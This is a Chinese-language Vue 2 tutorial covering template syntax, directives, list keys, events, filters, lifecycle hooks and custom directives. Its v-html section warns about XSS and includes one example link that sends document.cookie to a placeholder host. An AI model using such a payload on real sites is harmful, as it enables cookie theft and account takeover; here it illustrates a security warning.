一、前言

1. Vue简介

  • Vue 是一套动态构建用户界面的渐进式JavaScript框架

  • 官网

2. Vue特点

  • 采用组件化模式,提供代码复用率,且让代码更好维护
  • 声明式编码,让编码人员无需操作直接操作DOM,提高开发效率
  • 使用虚拟DOM + 优秀的 Diff 算法,尽量复用 DOM结点

3. Vue周边库

  • vue-cli:vue脚手架
  • vue-resource
  • axios
  • vue-router:路由
  • vuex:状态管理
  • element-ui:基于vue的UI组件库(PC端)

4. Vue导入

Vue是一个JS框架,所以,如果想使用Vue,则在当前页面引入Vue.js文件即可。

<!--本地导入-->
<script src="本地 vue.js 文件路径"></script>

<!--在线导入-->
<!--对于制作原型或学习,你可以这样使用最新版本-->
<script src="https://cdn.jsdelivr.net/npm/vue@2.7.8/dist/vue.js"></script>
<!--对于生产环境,官方推荐链接到一个明确的版本号和构建文件,以避免新版本造成的不可预期的破坏:-->
<script src="https://cdn.jsdelivr.net/npm/vue@2.7.8"></script>

5. 案例入门

<div id="root">
	<h1>Hello {{name}}</h1>
</div>
<script type="text/javascript">
	// 关闭 Vue 生产提示
	Vue.config.productionTip = false;
	 // 创建一个Vue对象
	const app = new Vue({
		// 指定,该对象代表<div id="root">,也就是说,这个div中的所有内容,都被当前的app对象管理
		el:"#root",
		// 定义vue中的数据
		data(){
			return{
				name:"划水艺术家"
			}
		}
  	})
</script>

效果:

在这里插入图片描述

二、Vue基本语法

Vue模板语法包括两大类:

插值语法

  • 功能:用于解析标签体内容
  • 写法{{xxx}},xxx是js表达式,且可以直接读取到data中的所有区域

指令语法

  • 功能:用于解析标签(包括:标签属性、标签体内容、绑定事件…)
  • 举例<a v-bind:href="xxx">,xxx同样要写js表达式,且可以直接读取到data中的所有属性
  • 备注:Vue中有很多的指令,且形式都是v-???,此处我们只是拿v-bind举个例子

三、内容渲染指令

1. 插值语法

插值表达式用户把Vue中所定义的数据,显示在页面上. 插值表达式允许用户输入"JS代码片段"
语法

{{ 变量名/对象.属性名 }}

案例

<div id="root">
	<!--双括号里面是表达式-->
	<h1>{{name}}</h1>
	<!--双括号前后跟字符-->
	<h1>你好,{{name}},嘿嘿</h1>
	<!--双括号里面表达式加空格或者字符-->
	<h1>{{name+ '空格或者字符' + age}}</h1>
	<!--双括号后加双括号-->
	<h1>{{name}} {{age}}</h1>
	<!--双括号里面还能进行变量计算-->
	<h1>{{age + 20}}</h1>
	
	<!--双括号只能写在标签内部,不能写在标签属性里面-->
	<!-- <h1 {{name}}> </h1> 报错--> 
</div>

<script type="text/javascript">
	const app = new Vue({
		el:"#root",
		data(){
			return{
				name:"划水艺术家",
				age: 20,
			}
		}
  	})
</script>

2. v-text

  • v-text 其作用和插值表达式类似。v-text 可以避免插值闪烁问题,当网速比较慢时, 使用插值语法来展示数据, 有可能会产生插值闪烁问题
  • 插值语法只会插入内容,不会清除其余的内容;但 v-text 会把当前元素的其他内容全部清除掉

插值闪烁:在数据未加载完成时,页面会显示出原始的 {{}}, 过一会才会展示正常数据。

语法

<span v-text="name"></span>	<!-- 相当于<span>{{name}}</span> -->
  • v-text:把数据当作纯文本显示.

案例

<div id="root">
	<!--v-text 是放在标签属性中-->
	<h1 v-text="name"></h1>
</div>

3. v-html

某些情况下,我们从服务器请求到的数据本身就是一个HTML代码,我们希望前端接受到数据后按照HTML格式进行解析,并且显示对应的内容,那我们就可以使用v-html指令。

语法

<span v-html="myHtml"></span>	
  • v-html:遇到html标签,会正常解析

案例

<div id="root">
	<!--v-html是放在标签属性中-->
	<span v-html="myHtml"></span>	
</div>

<script type="text/javascript">
	const app = new Vue({
		el:"#root",
		data(){
			return{
				myHtml:"<h1>划水艺术家</h1>"
			}
		}
  	})
</script>

严重注意:v-html有安全性问题!!!

  • 在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击
  • 一定要在可信的内容上使用v-html,永远不要用在用户提交的内容上!!!
<div id="root">
	<div v-html="str"></div>
</div>

<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

	new Vue({
		el:'#root',
		data:{
			str:'<a href=javascript:location.href="http://www.xxx.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>',
		}
	})
</script>

在这里插入图片描述


当点击这个链接就进入心怀不轨之人的圈套了!!!

4. v-once

我们有时候希望展示的部分数据不会随着Vue的响应式而发生变化,就可以使用 v-once 指令。

<div id="root">
	<h1>会变化{{name}}</h1>
	<h1 v-once>不会变化{{name}}</h1>
</div>
  • v-once指令后面不需要跟任何表达式
  • v-once该指令表示元素和组件只渲染一次,不会随着数据的改变而改变,可以用于优化性能

5. v-pre

该指令的作用是用于跳过这个元素和它子元素的编译过程,用于显示原本的插值语法,一般我们的插值语法会去data里面找对应的变量然后解析,可是如果我们就想让其显示为 {{name}} ,这个时候需要加 v-pre 属性,如下

<div id="root">
	<h1 v-pre>{{name}}</h1>
</div>

在这里插入图片描述

  • v-pre跳过其所在节点的编译过程。
  • v-pre可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译

6. v-cloak

在实际开发中,前端数据大多是从服务器端获取来的,如果网络不好获取的比较慢,浏览器可能会直接显示出未编译的插值标签。那么页面在渲染时可能会先显示 {{name}} 之后变为 划水艺术家。这种效果不是我们想要的,我们可以给标签添加 v-cloak 来避免这种效果。(v-cloak 与 v-text 都可以解决插值闪烁问题,但 v-text 会清楚当前元素显示的其他内通内容,但 v-cloak 不会)

v-cloak 使用流程:

  • 加上v-clock 属性,并加上css。
  • vue解析之前有 v-clock 属性时,让其不显示
  • Vue解析之后没有v-clock 属性,再让其显示
<style>
	[v-cloak] {
		display: none;
	}
</style>

<div id="root">
	<h1 v-cloak>{{name}}</h1>
</div>

<script>
	const app = new Vue({
		// el:"#root",
		data(){
			return{
	 			name:"划水艺术家",
			}
		}
	})
	// 在 2 秒后才实例化容器
	setTimeout(() => {
		app.$mount("#root")
	}, 2000)
</script>

四、数据绑定指令

Vue中有2种数据绑定的方式:

  • 单向绑定(v-bind:数据只能从data流向页面
  • 双向绑定(v-model:数据不仅能从data流向页面,还可以从页面流向data

1. v-bind

上述指令主要作用是将值插入到我们的模板的内容当中,但是,除了内容需要动态来决定外,某些属性我们也希望动态来绑定。比如:

  • 动态绑定<a>的 href 属性
  • 动态绑定<img>元素的 src 属性

使用如下

<div id="root">
	<a v-bind:href="url">百度</a>
</div>

<script>
   const app = new Vue({
   el: "#root",
    data(){
      return {
        url: 'http://www.baidu.com'
      }
    }
   })
</script>

在这里插入图片描述

可以将 v-bind 简写为 :

<div id="root">
	<a :href="url">百度</a>
</div>

2. v-model

​ v-model可以实现:数据变化的时候, 页面会自动刷新;页面变化的时候,数据也会自动变化。

注意:

  • 双向绑定, 只能绑定 “文本框,单选按钮,复选框,文本域,下拉列表 ”等
  • 文本框/单选按钮/textarea, 绑定的数据是字符串类型
  • 单个复选框, 绑定的是boolean类型
  • 多个复选框, 绑定的是数组
  • select单选对应字符串,多选对应是数组

1. 绑定文本框

<div id="root">
    用户名: <input type="text" v-model="username"/>
</div>

<script type="text/javascript">
	new Vue({
		el:"#root",
		data:{
			//该属性值和文本框的value属性值,保持一致
			username:""
		}
	});
</script>

2. 绑定单个复选框

<div id="root">
	<input type="checkbox" v-model="agree">同意<br>
</div>
<script type="text/javascript">
	new Vue({
		el:"#root",
		data:{
			agree:true
		}
	});
</script>

在这里插入图片描述


3. 绑定多个复选框

<div id="root">
	<input type="checkbox" value="爬山" v-model="hobby">爬山<br>
	<input type="checkbox" value="游泳" v-model="hobby">游泳<br>
	<input type="checkbox" value="篮球" v-model="hobby">篮球<br>
</div>

<script type="text/javascript">
	new Vue({
		el:"#root",
		data:{
		 	//数组中的值,就是被选中的元素的value属性值
		 	hobby:["爬山","游泳"]
		}
	});
</script>

4. v-model修饰符

为了方便对用户输入的内容进行处理,Vue 为 v-model 指令提供了 3 个修饰符

修饰符作用示例
.number自动将用户的输入值转化为数值类型<input v-model.number = "age" />
.trim自动过滤用户输入的首尾空白字符<input v-module.trim = "msg" />
.lazy在 change 时而非 input 时更新<input v-model.lazy = "msg" />

lazy修饰符

  • 默认情况下, v-model 默认是在 input 事件中同步输入框的数据的。
  • 也就是说,一旦有数据发生改变对应的 data 中的数据就会自动发生改变。
  • lazy 修饰符可以让数据在失去焦点或者回车时才会更新。

五、条件渲染指令

条件渲染指令用来辅助开发者按需控制 DOM 的显示与隐藏 。 v - ifv-else-ifv-else
这三个指令与JavaScript的条件语句 if、else、else if 类似,Vue 的条件指令可以根据表达式的值在DOM中渲染或销毁元素或组件

1. v-if

<div id="root">
	<h1 v-if="age >= 18">你成年了</h1>
</div>
<script type="text/javascript">
	const app = new Vue({
		el:"#root",
		data(){
			return{
				age: 20
			}
		}
	})
</script>

v-if的原理:

  • v-if 后面的条件为 false时,对应的元素以及子元素不会渲染,也就是根本没有对应的标签出现在DOM中

2. v-else-if

<div id="root">
	<h1 v-if="age >= 18">你成年了</h1>
	<h1 v-else-if="age >= 12">你是个小伙子</h1>
</div>

3. v-else

<div id="root">
	<h1 v-if="age >= 18">你成年了</h1>
	<h1 v-else-if="age >= 12">你是个小伙子</h1>
	<h1 v-else>你是个小学生</h1>
</div>

4. v-show

v-show的用法和v-if非常相似,也用于决定一个元素是否渲染:

  • v-if 指令会 动态地创建或移除 DOM 元素 ,从而控制元素在页面上的显示与隐藏
  • v-show 指令会动态为元素 添加或移除 style=“display: none;” 样式 ,从而控制元素的显示与隐藏
<div id="root">
	<h1 v-show="age >= 18">你成年了</h1>
</div>
<script type="text/javascript">
	const app = new Vue({
		el:"#root",
		data(){
			return{
				age: 17
			}
		}
	})
</script>

在这里插入图片描述


六、列表渲染指令

1. v-for

<!DOCTYPE html>
<html>
<head>
	<meta charset="UTF-8" />
	<title>列表渲染</title>
	<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
	<div id="root">
		<h2>人员列表(遍历数组)</h2>
		<ul>
			<li v-for="(p,index) in persons" :key="index">
				{{p.name}}-{{p.age}}
			</li>
		</ul>
		
		<h2>汽车信息(遍历对象)</h2>
		<ul>
			<li v-for="(value,k) in car" :key="k">
				{{k}}-{{value}}
			</li>
		</ul>
		
		<h2>遍历字符串</h2>
		<ul>
			<li v-for="(char,index) in str" :key="index">
				{{char}}-{{index}}
			</li>
		</ul>
		
		<h2>遍历指定次数</h2>
		<ul>
			<li v-for="(number,index) in 5" :key="index">
				{{index}}-{{number}}
			</li>
		</ul>
	</div>
	
	<script type="text/javascript">
	
		new Vue({
			el:'#root',
			data:{
				persons:[
					{id:'001',name:'张三',age:18},
					{id:'002',name:'李四',age:19},
					{id:'003',name:'王五',age:20}
				],
				car:{
					name:'奥迪A8',
					price:'70万',
					color:'黑色'
				},
				str:'hello'
			}
		})
	</script>
</body>
</html>

在这里插入图片描述


2. key作用与原理

  • 官方推荐我们在使用 v-for时,给对应的元素或组件加上一个 :key属性,key的作用主要是为了高效的更新虚拟DOM。当列表的数据变化时,默认情况下, Vue 会尽可能的复用已存在的 DOM 元素,从而提升渲染的性能 。
  • 但这种默认的性能优化策略,会导致有状态的列表无法被正确更新 。为了给 Vue 一个提示,以便它能跟踪每个节点的身份, 从而在保证有状态的列表被正确更新的前提下, 提升渲染的性能 。此时,需要为每项提供一个唯一的 key 属性。

案例引入:

<!DOCTYPE html>
<html>
<head>
	<meta charset="UTF-8" />
	<title>key的原理</title>
	<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
	<div id="root">
		<h2>人员列表</h2>
		<button @click.once="add">添加老刘</button>
		<ul>
			<li v-for="(p,index) in persons" :key="index">
				{{p.name}} - {{p.age}}
				<input type="text">
			</li>
		</ul>
	</div>

	<script type="text/javascript">
		new Vue({
			el:'#root',
			data:{
				persons:[
					{id:'001',name:'张三',age:18},
					{id:'002',name:'李四',age:19},
					{id:'003',name:'王五',age:20}
				]
			},
			methods: {
				add(){
					const p = {id:'004',name:'老刘',age:40}
					this.persons.unshift(p)
				}
			},
		})
	</script>
</body>
</html>

运行效果:
在这里插入图片描述


上述案例在增加了“老刘”后,每个人物后面的 input 输入框紊乱,现在我们把 v-for:key 改为 p.id 试一试。

<ul>
	<li v-for="(p,index) in persons" :key="p.id">
		{{p.name}} - {{p.age}}
		<input type="text">
	</li>
</ul>

运行效果:
在这里插入图片描述


运行结果正常,要明白这其中的诡异,我们就得明白Vue的虚拟DOM对比算法。

虚拟DOM中key的作用

key是虚拟DOM中对象的标识,当数据发生变化时,Vue会根据新数据生成新的虚拟DOM,随后Vue进行新虚拟DOM旧虚拟DOM的差异比较,比较规则如下:


对比规则

① 旧虚拟DOM中找到了与新虚拟DOM相同的key

  • 若虚拟DOM中内容没变, 直接使用之前的真实DOM
  • 若虚拟DOM中内容变了, 则生成新的真实DOM,随后替换掉页面中之前的真实DOM

② 旧虚拟DOM中未找到与新虚拟DOM相同的key:创建新的真实DOM,随后渲染到到页面

****
在这里插入图片描述


用index作为key可能会引发的问题

① 若对数据进行逆序添加、逆序删除等破坏顺序操作:会产生没有必要的真实DOM更新,界面效果没问题, 但效率低
② 若结构中还包含输入类的DOM:会产生错误DOM更新,界面有问题


开发中如何选择key?

① 最好使用每条数据的唯一标识作为key,比如id、手机号、身份证号、学号等唯一值
② 如果不存在对数据的逆序添加、逆序删除等破坏顺序的操作,仅用于渲染列表,使用index作为key是没有问题的


七、事件监听指令

在前端开发中,我们经常需要监听点击、拖拽、键盘事件等等,这个时候需要使用 v-on

  • 作用:绑定事件监听器
  • 缩写:@
DOM对象vue事件绑定
onclickv-on:click
oninputv-on:input
onkeyupv-on:keyup

1. v-on

<div id="root">
  <h1>count = {{count}}</h1>
  <button v-on:click="sub">-</button>
  <button @click="add">+</button>
</div>

<script>
	const app = new Vue({
		el:"#root",
		data(){
			return {
				count: 0,
			}
		},
		methods: {
			add(){
				this.count++;
			},
			sub(){
				this.count--;
			}
		}
	})
</script>

如果我们的事件要传递参数,代码如下:

<div id="root">
	<button @click="method1">点我1</button>
	<button @click="method2()">点我2</button>
</div>

<script>
	new Vue({
		el:'#root',
		methods:{
			method1(arg1){
				console.log("method1: " , arg1);
			},
			method2(arg1){
				console.log("method2: " , arg1);
			}
		}
	})
</script>

在这里插入图片描述


在使用 v-on 绑定事件时:

  • 如果事件函数后有括号,如:@click=“method1()”,则默认什么都不传递
  • 如果事件函数后无括号,如:@click=“method2” ,则默认传递事件对象

当我们带参数又要带有事件参数时,我们要使用 $event

<div id="root">
	<button @click="method3($event,2,3,4)">点我3</button>
</div>

<script>
	new Vue({
		el:'#root',
		methods:{
			method3(event, a, b, c){
				console.log("event = " , event);
				console.log("a = " , a);
				console.log("b = " , b);
				console.log("c = " , c);
			}
		}
	})
</script>

在这里插入图片描述


2. 事件修饰符

Vue中的事件修饰符:

  • prevent:阻止默认事件(常用)
  • stop:阻止事件冒泡,也就是当前元素发生事件,但当前元素的父元素不发生该事件(常用)
  • once:事件只触发一次(常用)
  • capture:使用事件捕获模式, 主动获取子元素发生事件, 把获取到的事件当自己的事件执行
  • self:只有 event.target 是当前操作的元素时才触发事件
  • passive:事件的默认行为立即执行,无需等待事件回调执行完毕

修饰符可以连续写,比如可以这么用:@click.prevent.stop="showInfo"


3. 键盘事件

键盘上的每个按键都有自己的名称和编码,例如:Enter(13)。而Vue还对一些常用按键起了别名方便使用。

Vue中常用的按键别名:

  • 回车:enter
  • 删除:delete (捕获“删除”和“退格”键)
  • 退出:esc
  • 空格:space
  • 换行:tab (特殊,必须配合keydown去使用)
  • 上:up
  • 下:down
  • 左:left
  • 右:right

注意

系统修饰键(用法特殊):ctrlaltshiftmeta

  • 配合keyup使用:按下修饰键的同时,再按下其他键,随后释放其他键,事件才被触发
  • 配合keydown使用:正常触发事件

可以使用keyCode去指定具体的按键,比如:@keydown.13=“showInfo”


Vue.config.keyCodes.自定义键名 = 键码,可以自定义按键别名


八、过滤器

1. 过滤器简介

  • 在官方文档中,是这样说明的:可被用于一些常见的文本格式化,vue中过滤器的作用可被用于一些常见的文本格式化。(也就是修饰文本,但是文本内容不会改变)

  • 通俗点说过滤器就是用来筛选出符合条件的,丢弃不符合条件的

  • 过滤器分为全局过滤器局部过滤器

过滤器:

  • 定义:对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理)。

  • 语法

① 注册过滤器:

<script type="text/javascript">

	//全局过滤器
	Vue.filter('过滤器1',function(value){
		return "";
	})
	
	new Vue({
		el:'#root',
		
		//局部过滤器
		filters:{
			过滤器2(value){
				return "";
			}
		}
	})
</script>

② 使用过滤器:

<h1> {{ xxx | 过滤器}} </h1> 

<a :href = "xxx | 过滤器名" ></a>

备注:

  • 过滤器可以接收额外参数,多个过滤器也可以串联
  • 过滤器并没有改变原本的数据,而是产生新的对应的数据

2. 过滤器案例

<!DOCTYPE html>
<html>
<head>
	<meta charset="UTF-8" />
	<title>过滤器</title>
	<script type="text/javascript" src="../js/vue.js"></script>
	<script src="https://cdn.bootcdn.net/ajax/libs/dayjs/1.10.6/dayjs.min.js"></script>
</head>
<body>
	<div id="root">
	<h2>时间</h2>
	<h3>当前时间戳:{{time}}</h3>
	<h3>转换后时间:{{time | timeFormater()}}</h3>
	<h3>转换后时间:{{time | timeFormater('YYYY-MM-DD HH:mm:ss')}}</h3>
	<h3>截取年月日:{{time | timeFormater() | mySlice}}</h3>
	</div>
</body>

<script type="text/javascript">

	//全局过滤器
	Vue.filter('mySlice',function(value){
		return value.slice(0,11)
	})
	
	new Vue({
		el:'#root',
		data:{
			time:1658929744,
		},
		
		//局部过滤器
		filters:{
			timeFormater(value, str="YYYY年MM月DD日 HH:mm:ss"){
				return dayjs(value).format(str)
			}
		}
	})
</script>
</html>

在这里插入图片描述


九、Vue生命周期

(1)什么是Vue生命周期?

官网的解释:Vue 实例从创建到销毁的过程,就是生命周期。也就是从开始创建、初始化数据、编译模板、挂载Dom→渲染、更新→渲染、卸载等一系列过程,我们称这是 Vue 的生命周期。


(2)vue生命周期的作用是什么?

Vue生命周期中有多个事件钩子,让我们在控制整个Vue实例过程时更容易形成好的逻辑。


(3)vue生命周期总共有几个阶段?

可以总共分为8个阶段:

  • 创建前/后
  • 载入前/后
  • 更新前/后
  • 销毁前/后

(4)第一次页面加载会触发哪几个钩子?

第一次页面加载时会触发 beforeCreate, created, beforeMount, mounted 这几个钩子


(5)DOM 渲染在 哪个周期中就已经完成?

DOM 渲染在 mounted 中就已经完成了。


(6)简单描述每个周期具体适合哪些场景?

生命周期钩子的一些使用方法:

beforecreate : 可以在此阶段加loading事件,在加载实例时触发;

created : 初始化完成时的事件写在这里,如在这结束loading事件,异步请求也适宜在这里调用;

mounted : 挂载元素,获取到DOM节点;

updated : 如果对数据统一处理,在这里写上相应函数;

beforeDestroy : 可以做一个确认停止事件的确认框;

nextTick : 更新数据后立即操作dom;

在这里插入图片描述

常用的生命周期钩子:

  • mounted:发送ajax请求、启动定时器、绑定自定义事件、订阅消息等初始化操作

  • beforeDestroy:清除定时器、解绑自定义事件、取消订阅消息等收尾工作

关于销毁Vue实例:

  • 销毁后借助Vue开发者工具看不到任何信息

  • 销毁后自定义事件会失效,但原生DOM事件依然有效

  • 一般不会在beforeDestroy操作数据,因为即便操作数据,也不会再触发更新流程了

测试案例

<!DOCTYPE html>
<html lang="en">
<head>
	<meta charset="UTF-8">
	<title>生命周期测试案例</title>
</head>
<body>
<div id="app">
	<p>{{message}}</p>
	<button @click="changeMsg">改变msg</button>
</div>

</body>
<script src="js/vue.js"></script>
<script>
	var vm = new Vue({
		el: '#app',
		data: {
			message: '你好呀~~~'
		},
		methods: {
			changeMsg () {
				this.message = '拜拜咯~~~'
			}
		},
		// 生命周期钩子
		beforeCreate() {
			console.log('------初始化前------')
			console.log("msg = ", this.message)
			console.log("el = ", this.$el)
		},
		created () {
			console.log('------初始化完成------')
			console.log("msg = ", this.message)
			console.log("el = ", this.$el)
		},
		beforeMount () {
			console.log('------挂载前---------')
			console.log("msg = ", this.message)
			console.log("el = ", this.$el)
		},
		mounted () {
			console.log('------挂载完成---------')
			console.log("msg = ", this.message)
			console.log("el = ", this.$el)
		},
		beforeUpdate () {
			console.log('------更新前---------')
			console.log("msg = ", this.message)
			console.log("el = ", this.$el)
		},
		updated() {
			console.log('------更新后---------')
			console.log("msg = ", this.message)
			console.log("el = ", this.$el)
		}
	})
</script>
</html>

在这里插入图片描述


在这里插入图片描述

从上面我们可以看出几点:

  • 首次只执行了4个生命周期,beforeCreatecreated, beforeMount, mounted
  • 在第一个生命周期beforeCreate,拿不到data中的数据,此时数据还未初始化;
  • created中,可以拿到data中的message数据了,此时数据初始化已经完成

十、自定义指令

注册一个自定义指令有全局注册与局部注册。

1. 局部注册

new Vue({															
	directives:{指令名:配置对象}   
}) 		

new Vue({															
	directives:{指令名:回调函数}   
}) 	

测试案例:

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>自定义指令</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<!-- 
	需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍。
	需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点。
	-->
	<body>
		<div id="root">
			<h2>当前的n值是:<span v-text="n"></span> </h2>
			<h2>放大10倍后的n值是:<span v-big="n"></span> </h2>
			<button @click="n++">点我n+1</button>
			<hr/>
			<input type="text" v-fbind:value="n">
		</div>
	</body>
	
<script type="text/javascript">
	Vue.config.productionTip = false
	
	new Vue({
		el:'#root',
		data:{
			n:1
		},
	directives:{
	
		// 自定义指令
		big(element,binding){
			console.log('big',this) //注意此处的this是window
			element.innerText = binding.value * 10
		},
	
		fbind:{
			// 指令与元素成功绑定时(一上来)
			bind(element,binding){
				element.value = binding.value
			},
			// 指令所在元素被插入页面时
			inserted(element,binding){
				element.focus()
			},
			// 指令所在的模板被重新解析时
			update(element,binding){
				element.value = binding.value
			}
		}
	}
})
</script>
</html>

2. 全局注册

全局注册注册主要是用过Vue.directive方法进行注册

Vue.directive('fbind',{
	//指令与元素成功绑定时(一上来)
	bind(element,binding){
		element.value = binding.value
	},
	//指令所在元素被插入页面时
	inserted(element,binding){
		element.focus()
	},
	//指令所在的模板被重新解析时
	update(element,binding){
		element.value = binding.value
	}
})

3. 钩子函数

自定义指令也像组件那样存在钩子函数:

  • bind:只调用一次,指令第一次绑定到元素时调用。在这里可以进行一次性的初始化设置
  • inserted:被绑定元素插入父节点时调用 (仅保证父节点存在,但不一定已被插入文档中)
  • update:所在组件的 VNode 更新时调用,但是可能发生在其子 VNode更新之前。指令的值可能发生了改变,也可能没有。但是你可以通过比较更新前后的值来忽略不必要的模板更新
  • componentUpdated:指令所在组件的 VNode 及其子 VNode 全部更新后调用
  • unbind:只调用一次,指令与元素解绑时调用

注意:

  • 指令定义时不加v-,但使用时要加v-

  • 指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名

Logo

前往低代码交流专区

更多推荐